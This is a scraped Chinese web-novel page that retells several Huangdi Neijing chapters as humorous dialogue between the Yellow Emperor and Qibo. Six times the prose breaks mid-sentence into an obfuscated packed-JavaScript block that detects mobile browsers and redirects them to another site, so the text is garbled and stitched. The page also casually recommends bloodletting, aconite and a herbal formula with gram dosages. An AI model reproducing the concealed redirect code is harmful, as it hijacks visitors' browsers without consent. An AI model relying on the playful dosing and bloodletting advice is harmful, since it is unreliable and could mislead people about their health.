说到委中穴，它可是个宝藏穴位，藏在我们膝盖后面的凹陷处，就像是藏宝箱的钥匙孔一样，轻轻一按，就能打开缓解腰痛的大门。不过，别急着自己动手，得找专业的中医师傅来操作哦，他们手法娴熟，能让你的腰痛瞬间减轻不少。想象一下，师傅轻轻一针下去，仿佛春风拂过，带走了你腰上的千斤重担，是不是觉得轻松多了？ 再来说说少阳脉，这家伙也不省心，它要是调皮起来，腰痛就像是有人在你皮肤上轻轻但持续地扎着针，虽然不痛，但那种难受劲儿，让你想弯腰不敢弯，想转头又转不动，简直就是生活版的“定格动画”。这时候，中医又说了：“刺少阳成骨之端出血”，听起来复杂，其实就是找膝盖外侧那块凸起的小骨头，现代穴位名叫“阳陵泉”，给它来个精准的“解压”。 阳陵泉，这个名字听起来就很有力量感，它就像是我们身体里的“压力释放阀”。夏天的时候，天气炎热，人们容易烦躁，身体里的气血也运行得比较快，这时候如果少阳脉不老实，我们就得给它点颜色瞧瞧。不过，夏天的放血疗法还是要谨慎，毕竟天气热，血也容易“激动”，咱们还是以疏通经络、调和气血为主。 想象一下，中医师傅手法灵活地在你阳陵泉穴上轻轻一按一揉，再配合上针灸或者拔罐，那股子被少阳脉“锁住”的气血瞬间就被解放了，你的腰部就像是被打开了开关，僵硬感、疼痛感慢慢消散，取而代之的是一种前所未有的轻松和自在。 话说啊，有这么一种腰痛，它跟阳明经脱不了干系。阳明经，你可以理解为咱们身体里的“阳光大道”，它要是堵了，哎，腰就开始闹别扭了。这腰痛起来，可不是一般的疼，严重的时候，你连回头看看都不行，好像一回头就能看到啥吓人的东西似的，心里头那个慌啊，善悲的情绪说来就来，跟林黛玉似的。 不过别怕，咱们中医有招儿！对付这种阳明经引起的腰痛，咱们得找到它的“软肋”——那就是胫骨前边的几个穴位，用现代话说，大概就是足三里那一片儿。想当年，针灸大师们可是会在这几个穴位上施展“三针连环”，上下一捻一揉，再轻轻一刺，嘿，那血珠子就冒出来了，不过啊，秋天的时候可得悠着点，别动不动就见血，毕竟秋天干燥，得讲究个“和”字，和谐养生嘛。 接下来，咱们再聊聊足少阴经惹的祸。这足少阴经，就像是咱们身体里的“静谧小溪”，一旦它不高兴了，腰痛就跟着来了，而且这股痛啊，还特爱往脊椎里面钻，那叫一个酸爽。对付它，咱们得往内踝上面找，大概就是太溪穴附近，给它来个温柔的“二指禅”。不过记住了，春天的时候，针灸别见太多血，毕竟春生万物，咱们也得顺应自然，别伤了这股生机勃勃的劲儿。万一不小心出血多了，那可得悠着点，毕竟“血是生命之源”，流多了可不好补回来哦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318180|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说起这中医里的“厥阴之脉”，简直就是腰部的小淘气，它一闹腾，你的腰就像被张满了弦的弓弩，紧绷绷的，疼得那叫一个酸爽！不过别怕，咱们老祖宗有招儿治它。想象一下，你正低头看着自己的小腿肚子，那里有个地方，咱们现代人叫它“太溪穴”附近，但古时候人们说它是“腿踵鱼腹之外”，听起来是不是挺有画面感？就像是在寻找藏在鱼肚子下面的小秘密一样。你顺着那地方摸一摸，如果感觉经络上有些小鼓包，嘿，那就是了！这时候，拿出你的银针，轻轻那么一刺，嘿，这腰痛啊，说不定就跟你拜拜了。 但这厥阴之脉调皮起来，还爱让人变得话痨或者沉默寡言，就像是突然之间变了个性格，让人摸不着头脑。这时候，咱们就得多扎几针，来个“三痏疗法”，也就是三针齐下，给它个下马威。想象一下，银针在阳光下闪着银光，一针针精准地落在穴位上，仿佛是在给身体做一场微型的“疏通管道”工程，让那股子不通畅的气血重新流动起来，人也就跟着精神焕发了。 再来说说“解脉”，这家伙也是个让人头疼的主儿。它一捣乱，腰疼不说，还能扯到肩膀上，眼睛也跟着不舒服，看东西模模糊糊的，像是被一层薄雾蒙住了。更糟的是，有时候还会漏尿，那叫一个尴尬。不过，咱们中医讲究的是“对症下药”，解脉的问题，咱们就在膝盖那块儿找答案。你弯下膝盖，看看那筋肉交错的缝隙里，有个地方叫做“膝阳关”附近，古时候叫它“ 膝筋肉分间郄外廉之横脉”。拿起银针，对准那里轻轻一刺，记得要见血哦！这可不是普通的见血，而是要等到那淤血由黑变红，才算大功告成。这就像是在给身体做一次深度清洁，把淤积的毒素都排出去，身体自然就轻松多了。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 风论篇第四十二 黄帝坐在龙椅上，眉头紧锁，对着岐伯大夫说：“嘿，岐伯兄，这风啊，真是个调皮鬼，吹到人身上，能整出那么多花样儿，一会儿让人忽冷忽热，一会儿又热得跟火炉似的，冷起来又能冻成冰棍，更别提那些怪病，比如让人皮肤长斑的疠风，半边身子动不了的偏枯，还有直接就叫风病的。这些病五花八门，名字都不一样，有的甚至能深入到五脏六腑里头捣乱，我这心里头啊，跟迷宫似的，摸不着北。你快来给我说道说道，这里面到底有啥门道？” 岐伯老神在在地说：陛下，咱们这身体里的风啊气啊，简直就像是一群调皮捣蛋的小鬼，在皮肤底下玩起了捉迷藏！这些“风气小鬼”呢，它们既不喜欢往里头走，跟五脏六腑交朋友，也不喜欢大大方方地跑到外面去晒太阳，就爱在皮肤这层“隐形围墙”里瞎溜达。 这风啊，可是个变脸高手，说走就走，说来就来，比天气预报还难捉摸。要是咱们的皮肤毛孔（也就是中医说的“腠理”）一开，嘿，这些小鬼就趁机溜出去，带走一身热气，让你瞬间感觉凉飕飕的，像喝了冰镇饮料一样透心凉。可要是毛孔一关，它们就堵在里面开起了派对，热得你直冒汗，心里还闷得慌。这冷热交替的，胃口都不好了，吃不下饭；热过头了，还能让你的肌肉悄悄“瘦身”，你说这风气小鬼是不是挺能折腾的？ 更有趣的是，这风气小鬼还跟咱们的饮食起居息息相关。比如说吧，你要是个胖墩儿，皮肤紧绷绷的，风气就更难跑出去了，它们就在你体内胡作非为，导致你“热中”了，眼睛还可能变黄，跟个小黄人似的。相反，如果你身材苗条，皮肤松弛，风气就容易溜走，但这样一来，你又容易感到冷，成了“寒中”，眼泪鼻涕也跟着来凑热闹，真是让人哭笑不得。 再来说说这风气和太阳经（咱们可以理解为身体正面的经络系统）的纠葛。它们要是手牵手一起溜达，就会跑到各个穴位（咱们现代叫它们穴位，其实就是经络上的能量点，比如足三里、合谷这些）和肌肉缝隙里，跟卫气（身体的防御部队）闹别扭。这一闹，卫气就不乐意了，道路拥堵，肌肉就开始肿胀，甚至长疮。更糟糕的是，卫气有时候还会罢工，导致那块肉变得麻木不仁，跟不是自己的一样，你说这风气小鬼是不是挺能惹事的？ 还有啊，有种更严重的病，叫“疠”，听起来就让人心里发毛。这其实是因为营气（负责滋养身体的部队）被热得腐烂了，气儿不清新了，鼻子啊、皮肤啊就开始遭殃，鼻子变形，皮肤溃烂，简直就像是被恶魔亲吻过一样。而这一切的罪魁祸首，有时候就是那些长期赖在血管里不走的风寒邪气，它们就像顽固的租客，赖着不走，最后导致了“疠风”或者“寒热”这样的病症。 春天万物复苏，甲木乙木（咱们就理解为春天的气息吧）正盛，这时候如果你不小心被风“亲”了一口，嘿，那就是“肝风”找上门了。肝嘛，就像个春天的使者，喜欢舒畅条达，风一来，可能就乱了阵脚，导致你心情烦躁，眼睛干涩，就像春天的花儿被吹得东倒西歪一样。 转眼到了夏天，丙火丁火熊熊燃烧，这时候的风要是带着点“热情”闯进来，那就是“心风”作祟了。心脏可是个“热情似火”的哥们儿，风一搅和，它可能就“上火”了，心悸、失眠、多梦就找上门来，仿佛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318181|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏夜的萤火虫，虽然美，却也让人难以安睡。 再到季夏，也就是长夏时节，戊土己土当道，这时候的湿气重，如果邪气（咱们可以理解为不友好的风）趁机而入，那就是“脾风”来捣乱了。脾是咱们身体的“后勤部长”，负责运化水谷精微，风一来，它可能就罢工了，食欲不振、腹胀腹泻就找上门，让你的夏天多了几分“沉重”。 秋天，庚金辛金闪亮登场，金风送爽的同时，如果风带了点“邪气”，那就是“肺风”在作怪。肺是娇脏，喜欢清润，风一捣乱，咳嗽、气喘、感冒就接踵而至，就像秋天的落叶，一片片落在心头，让人不禁感叹“多事之秋”。 冬天，壬水癸水冻结成冰，寒风凛冽，如果这时候风带着寒意侵入体内，那就是“肾风”来袭。肾是先天之本，藏精纳气，风一捣乱，腰膝酸软、畏寒怕冷就找上门来，让你仿佛置身于北极的冰雪世界，瑟瑟发抖。 不过，风这家伙可不止会“单挑”，它还喜欢“群殴”。它要是溜进了咱们的五脏六腑的“门户”——那些穴位（虽然现在咱们不直接对应古代穴位名，但想象一下它们就像是身体的小窗户），那就是“脏腑之风”了。每个脏腑都有它的“软肋”，风一钻进去，就形成了“偏风”，专挑软柿子捏。 更有趣的是，风这家伙还特别会“爬楼梯”。它从“风府穴”（咱们现代不说具体穴位，就理解为脑袋后面那个容易受风的地方）一路向上，直达大脑，那就是“脑风”，让你头疼欲裂，仿佛脑子被风搅成了一锅粥。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 痹论篇第四十三 黄帝又发问了，这次他好奇的是：“嘿，岐伯兄，你说说这痹症到底是咋来的呢？是不是挺让人头疼的？”岐伯一听，嘿，这可是个好话题，便笑眯眯地解释道：“黄帝啊，这痹症啊，说白了就是风寒湿这三种坏小子，它们不请自来，手拉手，肩并肩，一块儿作妖，就成了痹症。你想啊，这风啊，它最擅长的就是跑来跑去，所以风气要是占了上风，那就是行痹，让人全身关节像游走的小虫咬一样，疼得你摸不着北。” 黄帝一听，乐了：“哟，这还挺形象的嘛！那寒气呢？”岐伯接着说：“寒气这家伙，冷得能冻人骨髓，它要是逞强，就成了痛痹。那感觉，就像是冬天直接把冰块贴你骨头上，冻得你直哆嗦，疼起来简直是刻骨铭心啊！” 黄帝点头表示赞同，又追问：“那湿气呢？听起来也不简单。”岐伯笑得更深了：“湿气嘛，它黏糊糊的，就像夏天的梅雨季，到处湿漉漉的。湿气重的人得了痹症，那就是着痹，感觉身体像被厚重的湿布裹住，动弹不得，沉重又难受。” 黄帝听得津津有味，突然话锋一转：“嘿，岐伯兄，你刚才说痹症有五种，除了这三种，还有哪两种呢？说来听听。”岐伯不紧不慢地说：“黄帝啊，这痹症确实不止三种，它还跟季节有关呢。比如说，你要是在冬天不幸遇上这三气杂至，那就是骨痹了，骨头缝里都透着寒气，疼起来让人怀疑人生。” “那春天呢？”黄帝好奇地问。岐伯答道：“春天万物复苏，但也是肝气生发的季节，这时候如果遇上风寒湿，就容易得筋痹。筋脉拘挛，伸展不开，就像刚睡醒的懒腰没伸开，一整天都别扭。” 黄帝一听，乐了：“哈哈，这比喻有趣！那夏天呢？”岐伯接着说：“夏天热啊，人体气血都跑到体表来了，这时候如果中了风寒湿的招，那就是脉痹了。血脉不通，感觉就像是血管里塞了车，血液流通不畅，整个人都懒洋洋的。” 黄帝若有所思：“那至阴和秋天呢？”岐伯解释道：“至阴嘛，可以理解为阴气最重的时候，比如晚上或者深秋初冬，这时候得的痹症就是肌痹，肌肉发紧发酸，像是被无形的手捏了一把。至于秋天，秋高气爽，但秋风也凉，这时候得的痹症就是皮痹了，皮肤干痒，像是被秋风吹裂了似的。” 黄帝又问：“哎，岐伯兄，你说咱们身体里头那五脏六腑，它们要是出了岔子，是啥在背后捣鬼呢？”岐伯捋了捋胡子，笑眯眯地说：“黄帝啊，这五脏啊，它们可都不是孤军奋战，每个都有自个儿的‘铁哥们儿’——就是那些经络和穴位嘛。要是病了老不好，嘿，这病气就悄悄溜进它们的好哥们儿家里去了。” 咱们来想象一下，这五脏六腑啊，就像是五座豪华别墅，而经络穴位呢，就是它们之间秘密相连的小径和花园。一旦某座别墅（比如肾）的保安（免疫力）松懈了，小偷（病邪）就趁机溜进来，先是在别墅外的花园（比如骨）闹腾一番，成了骨痹。要是主人（身体）没及时发现，小偷就在花园里开起了派对，还邀请了更多狐朋狗友（复感邪气），这下可好，直接闯进了别墅大厅（肾）！ 先说这骨痹吧，想象一下你的骨头成了“硬汉也怕疼”的代名词。本来只是偶尔腰酸背痛，结果一不留神，寒风细雨一来，嘿，直接给肾来了个“贴面礼”，肾就郁闷了：“我咋也躺枪了？”其实啊，这就是骨痹久治不愈，邪气趁机入侵肾脏的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318182|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结果。这时候，咱们得赶紧给肾来个“温暖拥抱”，比如艾灸肾俞穴，就像给肾送了个暖宝宝，让它暖洋洋的，自然就不容易受邪了。 再来说说筋痹，筋啊，就像是咱们身体的橡皮筋，得有弹性才好玩。可一旦橡皮筋老化僵硬，还遇上邪风邪气，那就得小心肝了！为啥？因为肝主筋嘛，筋痹久了，邪气就顺藤摸瓜找到肝去了。这时候，咱们得给肝来个“柔化术”，除了适当运动拉伸，还可以试试按摩太冲穴，那可是肝经的“出气筒”，按一按，肝气顺了，筋也就舒坦了。 脉痹呢，就是血脉不通畅，跟心脏这个“泵血大师”息息相关。血脉要是堵了，心脏就得加班加点，久而久之，心脏也累垮了。这时候，咱们得给心脏来个“减负计划”，除了清淡饮食、适量运动，还可以试试内关穴按摩，内关内关，一按就关住了心脏的烦恼，血脉自然就通畅了。 肌痹，顾名思义，就是肌肉出了问题。肌肉是脾的“后花园”，脾主肌肉嘛。肌肉一疼一僵，脾也跟着遭殃。这时候，咱们得给脾来个“营养大餐”，多吃健脾的食物，比如山药、薏米，再配合按摩足三里穴，那可是脾胃的“保健医生”，按一按，脾胃强健，肌肉自然就有力了。 再说说皮痹，皮肤是肺的外衣，肺管呼吸，也管皮肤。皮肤一有风吹草动，比如干燥、瘙痒，那就是肺在喊救命了。皮痹久了，邪气就直捣黄龙，进了肺里。这时候，咱们得给肺来个“滋润SPA”，多喝水，多吃润肺的食物，比如梨、百合，再配合拍打肺经，从云门穴到中府穴，一路拍下来，肺就清爽多了。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 痿论篇第四十四 黄帝这天心血来潮，突发奇想地问岐伯大夫：“哎，岐伯啊，你说咱们的五脏六腑，怎么就能让人得上那痿症呢？这背后的故事，可得好好跟我唠唠。” 岐伯一听，嘿嘿一笑，那眼神里透着股子学问人的光：“黄帝您这可是问对人了。咱们人体啊，就像个精密的机器，五脏就是这台机器的核心部件，各自掌管着不同的区域和功能。您看，肺嘛，它就像是咱们身体的皮肤和毛发的CEO，负责让它们保持水润有光泽；心呢，则是血脉的调度大师，确保血液在全身畅通无阻；肝，那是筋膜界的健身教练，让咱们的筋骨强健有力；脾，就像个营养师，专门负责肌肉的营养供给，让它们饱满有弹性；至于肾，嘿，那可是骨髓的超级奶爸，负责给骨头加油打气，让它们坚硬不折。” “现在咱们来聊聊这痿症是怎么回事。比方说，如果肺热过头了，就像是秋天的叶子被烤焦了一样，那皮毛可就遭殃了，变得脆弱易损，就像纸片人一样，风一吹就倒，这不就是皮毛痿嘛，走起路来跟飘似的，说不定哪天就真‘飘’了。再比如，心火太旺，血脉就像是被烧红的铁轨，下边的血都往脑袋冲，下边自然就空虚了，这下可好，血脉痿就来了，腿跟没了支撑似的，走路都得靠拐杖，生怕一不小心就来个‘人体对折’表演。” “还有啊，肝气郁结或者过旺，就像是胆汁不小心跑错了道，跑到嘴里去了，苦得你直皱眉头。同时，筋膜也跟着遭殃，变得又干又硬，就像冬天里的橡皮筋，一拉就断，结果就是筋痿，腿啊手啊动不动就抽筋，疼得你龇牙咧嘴。” “脾呢，它要是热起来，就像是给胃开了加热模式，结果胃里的水分全蒸发了，你整天口干舌燥，想喝水喝到怀疑人生。更糟糕的是，肌肉也跟着‘中暑’，变得麻木不仁，捏一下都不带反应的，这就是肉痿了，感觉自己就像个机器人，少了点人间烟火气。” “最后说说肾，这可是个大问题。肾气要是过热，就像是给骨头开了个烧烤派对，结果腰杆子不直了，骨头变得又干又脆，连骨髓都缩水了，走起路来跟踩棉花似的，这就是骨痿。想当年，我可是亲眼见过一位老前辈，肾气一热，直接变成了‘弯腰驼背’代言人，走路都得慢慢挪，生怕一不小心就散架了。” 说到这里，岐伯话锋一转，笑道：“不过您放心，咱们中医讲究的是治未病，调理身体，防患于未然。要是真遇到了这些问题，咱们也有办法。比如肺热引起的皮毛痿，可以喝点润肺清热的菊花茶，再配合点推拿按摩，让肺经的气血流通起来；心火旺盛导致的血脉痿，可以用莲子心泡水喝，清心除烦，同时做做足底按摩，引火下行；肝气郁结筋痿，那就得疏肝解郁了，逍遥丸是个不错的选择，再加上适量的拉伸运动，让筋骨得到舒展；脾气热引起的肉痿，可以多吃些健脾祛湿的食物，比如山药、薏米，再配合艾灸足三里，增强脾胃功能；至于肾气热导致的骨痿，那就得补肾滋阴了，六味地黄丸是经典方剂，再加上适量的户外运动，晒晒太阳，补补钙，让骨头重新焕发生机。” “所以啊，黄帝您听明白了没？咱们的身体就像个小宇宙，五脏六腑就是里面的星辰，它们各司其职，又相互依存。只要咱们平时注意饮食起居，适当锻炼，保持心情愉悦，就能让这个小宇宙和谐运转，远离痿症，活出健康好状态！”岐伯一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318183|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 番话，说得黄帝连连点头，心中豁然开朗。 黄帝问：“哎，你们说说，这病是怎么来的呢？”大夫们纷纷点头，其中一位智者开口：“陛下，您知道肺吧，那可是咱们五脏里的老大，就像给心脏戴了个遮阳帽，保护着它。可要是心里有啥不痛快，比如丢了东西，愿望没达成，这情绪一上来，肺就开始‘抗议’了，它一‘鸣’起来，就像是在说‘我热！我干！’时间一长，肺叶就像被烤焦的饼干，肺热就这么来了。这五脏啊，是个大家庭，肺热一传，其他兄弟也跟着遭殃，特别是腿脚，没力气走路了，这就是‘痿躄’啊，腿脚软得跟似的。” 黄帝一听，眉头紧锁：“还有更严重的？”大夫接着说：“那当然，如果这肺虚得跟漏气的气球似的，连连接心脏的‘胞络’都断了，那可就大事不妙了。阳气啊，就开始在体内乱窜，心下面那块地方就像被炸开了一样，还时不时尿血，吓人得很。这就像咱们家的水管，水压一高，水龙头就乱喷水。” “再来说说这《本病》里提到的，经络要是空虚了，就像是城市的交通瘫痪了，肌肉就会得‘痹症’，慢慢发展成‘脉痿’，就像咱们的肌肉变成了橡皮泥，捏都捏不动。”大夫讲得绘声绘色。 “还有啊，陛下，您想啊，人要是整天胡思乱想，欲望太多，又忍不住‘嘿咻’过度，那‘宗筋’（就是那根神秘的‘生命之绳’）就松了，松了就会怎么样？对，就是‘筋痿’，腿脚无力，还可能有‘白淫’之症，就是那啥，您懂的……”大夫说到这里，黄帝和众人都笑了，气氛轻松了不少。 本小章还未完，请点击下一页继续阅读后面精彩内容！ 厥论篇第四十五 黄帝大佬这天又发问了，他满脸好奇地问岐伯老师：“嘿，岐伯兄，你说说看，为啥有的人手脚会突然冷得跟冰棍似的，有的人又热得像火炉呢？这厥症的寒热变化，到底是个啥原理啊？” 岐伯老师一听，嘿，这可是个好问题，他捋了捋胡子，慢悠悠地说：“黄帝啊，你这个问题问得妙！其实呢，这都跟咱们体内的阳气和阴气有关。你想啊，如果阳气在身体下面，特别是脚丫子那块儿，不够给力了，那就容易形成寒厥，手脚冰凉得跟刚从冰箱里拿出来似的。反过来，如果阳气在下面过于旺盛，憋得慌，没地方发泄，那就成了热厥，脚丫子热得能烤红薯。” 黄帝一听，眼睛一亮，赶紧追问：“对对对，我就是这个意思！那为啥热厥的时候，热总是从脚底开始呢？这有啥讲究没？” 岐伯老师笑了，他解释说：“黄帝啊，你这个问题问到点子上了。咱们体内的阳气啊，就像个勤劳的快递员，它的起点站就设在咱们脚底的‘涌泉穴’（现代说法哦，古代可能没这么叫，但意思差不多）。这‘涌泉穴’啊，就像是阳气的小小泉眼，源源不断地往上输送温暖。而脚底的那些阴脉呢，就像是小溪流，汇聚在脚心，准备和阳气来个亲密接触。所以嘛，当阳气太足，超过了阴脉的承载能力，脚底自然就热乎乎的了，跟小火炉似的。” 黄帝听得津津有味，继续刨根问底：“那寒厥呢？为啥寒气总是从手指尖开始，一路往下窜到膝盖，让人冻得直哆嗦？” 岐伯老师耐心解答：“黄帝啊，这寒气啊，它也有它的路径。它发源于手指尖的那些隐秘角落，就像是深夜里的冷风，悄无声息地聚集。然后啊，这些寒气就沿着咱们的经络，一路向下，在膝盖下方集结，最后在膝盖上方形成一股强大的力量。这就像是冬天里的寒风，从门缝、窗缝里钻进来，先冻手冻脚，再慢慢侵袭全身。所以啊，寒厥的时候，你会感觉从手指尖开始，一路冷到膝盖，那种冷啊，是从骨子里透出来的，跟外头的冷风可不一样。” 说到这里，岐伯老师还顺便给黄帝上了一堂生动的健康课：“黄帝啊，你看这寒热厥症，其实都是体内阴阳失衡的表现。要想避免这些不适，平时就得注意调养身体，多晒晒太阳，补补阳气；晚上泡泡脚，驱驱寒气。还有啊，饮食要均衡，别老吃那些生冷寒凉的东西，免得伤了脾胃，影响阳气的生发。总之啊，身体是革命的本钱，得好好爱护才是。” 黄帝陛下眉头紧锁问岐伯：“哎，岐伯啊，你说这‘寒厥’症，到底是怎么一回事儿？为啥人就突然手脚冰凉，跟掉进冰窟窿似的呢？” 岐伯一听，捋了捋他那白花花的胡子，笑眯眯地说：“陛下啊，这寒厥啊，其实是个挺有意思的现象，得从咱们身体的小秘密说起。您知道吗？咱们的前阴啊，那可是个‘宗筋汇聚地’，就像武侠小说里的‘气海穴’一样重要，是太阴经和阳明经两大高手经常切磋交流的地方。这两经脉，一阴一阳，就像自然界的冬夏，各自有着不同的脾性。” “您看，春天夏天，阳光明媚，万物复苏，咱们身体里的阳气就特别多，阴气呢，就悄悄躲起来休息了；可一到秋天冬天，寒风瑟瑟，雪花飘飘，阴气就开始得意洋洋，阳气就渐渐萎靡不振了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318184|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。这时候啊，如果碰上那么一位身体倍儿棒，但不懂得养生之道的哥们儿，在秋冬季节还拼命消耗自己的精力，就像是晚上不睡觉跑去打游戏，白天还得搬砖一样，下身的‘元气小火车’就嗖嗖往上冲，想要弥补上身的疲惫，可结果呢，反而搞得自己精疲力尽，精气都往下跑了。” “这下可好，邪气一看有机可乘，嘿，就跟小偷似的，趁着夜深人静，悄悄地从下面往上爬，一路畅通无阻。这就像是你家里门没关好，小偷就轻而易举地进来了。而咱们身体里的这股‘正气’，也就是阳气，它本来应该像保安一样巡逻全身的，现在却因为过度劳累，连自己家门口都守不住了。” “阳气一弱，它就没法再好好地滋养和保护咱们的经络了，就像是冬天的水管被冻住了一样，水流不畅。这样一来，阳气越来越少，阴气就越来越猖狂，独霸一方了。手脚呢，就像是离心脏最远的小镇，阳气送不过去温暖，自然就变得冷冰冰的，跟冰棍似的了。” 说到这里，黄帝恍然大悟，一拍大腿：“哦——原来如此！那咱们得怎么预防和治疗这寒厥呢？” 岐伯微微一笑，继续他的医学脱口秀：“预防嘛，很简单，就是要顺应自然，秋冬季节要‘藏’起来，别瞎折腾，多睡觉，多吃点温补的食物，比如羊肉汤、红枣枸杞茶啥的，就像给身体穿上保暖内衣一样。治疗上呢，可以用点温阳散寒的中药，比如桂枝、附子、干姜这些，它们就像是身体里的小太阳，能赶走寒气，让阳气重新振作起来。” 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 病能论篇第四十六 黄帝那天突发奇想，问：“嘿，岐伯老师，如果有人得了‘胃里的神秘肿痛’，咱们中医该怎么把脉诊断呢？” 岐伯一听，微微一笑，那笑容里仿佛藏着千年的智慧与从容，他悠悠地说：“陛下问得好，要诊断这胃脘痈啊，咱们得先从胃脉入手，就像侦探寻找线索一样细心。这胃脉啊，正常情况下应该是柔和而有力的，但要是遇到了胃脘痈，嘿，那脉象就会变得沉而细，就像深夜里的小溪，静悄悄又带着几分不寻常。” “您知道嘛，这沉细的脉象啊，其实是身体在告诉我们，胃里的气儿不顺了，开始叛逆了！就像家里的熊孩子，不按常理出牌。而当这股叛逆之气冲到脖子上那个人迎穴（咱们现在说的人迎，其实是中医里用来诊察脉象的一个重要部位，相当于现代医学的颈动脉处，可不是真的穴位哦），并且势头特别猛的时候，那就热闹了，人迎这儿的脉象会异常旺盛，简直就像夏天的火炉一样，热得让人受不了。” “人迎啊，它虽然不是个具体的穴位，但在这里，它就像是胃脉的‘代言人’，告诉我们胃里面正经历着一场‘热辣风暴’。这热气啊，它不光在胃里闹腾，还聚在了胃的入口处，也就是胃脘那里，出不去了，进不来，时间一长，胃脘那儿不就成了个‘痈’——也就是咱们说的脓肿、炎症了嘛！” 说到这里，岐伯话锋一转，开始给黄帝讲起了治疗的小妙招，“治疗这胃脘痈啊，咱们得双管齐下，一边清热解毒，一边理气和胃。想象一下，如果咱们能配制出一种‘清凉和胃汤’，那可就妙了！这汤里啊，得有黄连、黄芩这样的清热高手，它们就像是一群勇敢的消防员，冲进胃里扑灭那场‘热辣风暴’。然后呢，再加点陈皮、木香这些理气小能手，它们就像是调解员，让胃里的气儿重新排好队，乖乖听话。” “具体怎么配呢？嗯，咱们可以这样：黄连6克，黄芩9克，清热解毒不含糊；陈皮9克，木香6克，理气和胃显神通。当然啦，这只是个基础方，具体还得根据病人的体质和病情来调整。比如，如果病人胃口差，还可以加点山楂、麦芽帮助消化；如果便秘严重，那就得加上大黄、枳实来通通便了。” “至于服用方法嘛，自然是煎汤服用啦！想象一下，把这五味药材放在砂锅里，加水慢炖，那药香四溢，不仅治好了病，还让人心情大好。喝的时候，记得趁热，温温的，让那股暖流缓缓流入心田，也流入胃脘，带走所有的不适与病痛。” 黄帝又问了：“有的人为啥它就那么爱闹腾，睡不踏实呢？”咱们的老中医岐伯啊，那可是智慧的化身，他悠悠然答道：“陛下，您知道吗？这人啊，要是五脏六腑里哪个小角落受了伤，或者呢，精力啊、神气啊，没找对地方寄托，那晚上自然就睡不安稳了。所以啊，人一旦身体有点小恙，心里头就总惦记着，哪能悬着心去睡大觉呢？” 想象一下，我们的身体就像是一座豪华宫殿，五脏六腑就是宫殿里的各个房间，每个房间都得精心打理，不然啊，就容易出乱子。比如，你的心房（心脏）要是太劳累，晚上就像开了场狂欢派对，砰砰直跳，你怎么可能睡得着？再比如，你的肝殿（肝脏）要是积压了太多“小情绪”，成了情绪垃圾站，晚上也会悄悄作祟，让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318185|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你辗转反侧。 